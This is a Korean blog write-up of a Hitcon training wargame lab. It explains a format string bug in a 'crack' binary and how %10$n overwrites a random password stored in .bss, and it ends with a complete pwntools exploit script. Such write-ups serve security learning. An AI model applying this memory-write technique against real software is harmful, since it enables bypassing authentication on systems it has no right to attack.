728x90
1. 문제
1) mitigation 확인
카나리, NX가 걸려있다.
2) 문제 확인
이름을 입력하고 그대로 출력해준다. 그다음 비밀번호를 입력받고 종료가 된다
3) 코드흐름 파악
/dev/random을 열어서 랜덤값 4바이트를 password에 저장한다. 이는 bss영역에 존재하는 변수이다. 이름을 입력받고 출력을 해주는데 서식문자가 없기 때문에 여기서 fsb가 터진다.
그다음 비밀번호를 입력한다. 입력한 비밀번호와 password 변수에 저장된 값이 같으면 성공이다
2. 접근방법
fsb를 이용해서 bss 영역에 있는 랜덤값을 수정하여 조지면 되는 간단한 문제이다.
위 사진은 printf(&buf) 이 호출된 직후 상황이다. 보면 buff가 ebp-0x70의 위치에 값을 저장하는데 이는 저기 0xfffcdf8 부분이다. 이름을 입력하면 0xffffcdf8에 값이 들어가므로 0x25207025 가 들어가있는 위치에 값이 씌여진다
우리가 해야하는건 password 가 저장된 bss 주소를 처음에 입력하게 되면, 저기 0xffffcdf8 주소에 들어가게 되고, %10$n을 이용하여 bss 주소에 원하는 값을 넣으면 된다. 그렇게 된다면 우리가 pasword를 덮었으므로 "Your password: " 입력시 덮었던 값을 입력하면 끝이다
3. 풀이
처음 이름입력시 bss 주소 + fsb로 조진 상태이다.
- bss주소(4바이트)+%1c%10$n (1바이트) ==⇒ 따라서 총 5바이트가 0x804a048에 들어갔다
이제 5를 입력만 하면 끝이다
최종 페이로드는 다음과 같다
from pwn import *
context(arch="i386",os="linux",log_level="DEBUG")
p=process("./crack")
gdb.attach(p,'code\nb *0x6c1+$code\n')
payload=p32(0x0804A048)
payload+="%1c%10$n"
p.recvuntil("name ? ")
p.send(payload)
p.sendafter("password :","5")
p.interactive()
4. 몰랐던 개념
728x90
'워게임 > Hitcon training' 카테고리의 다른 글
[Hicon training] LAB 9 (0) | 2020.04.16 |
---|---|
[Hicon training] LAB 8 (0) | 2020.04.15 |
[Hicon training] LAB 6 (0) | 2020.04.14 |
[Hicon training] LAB 5 (0) | 2020.04.14 |
[Hicon training] LAB 4 (0) | 2020.04.13 |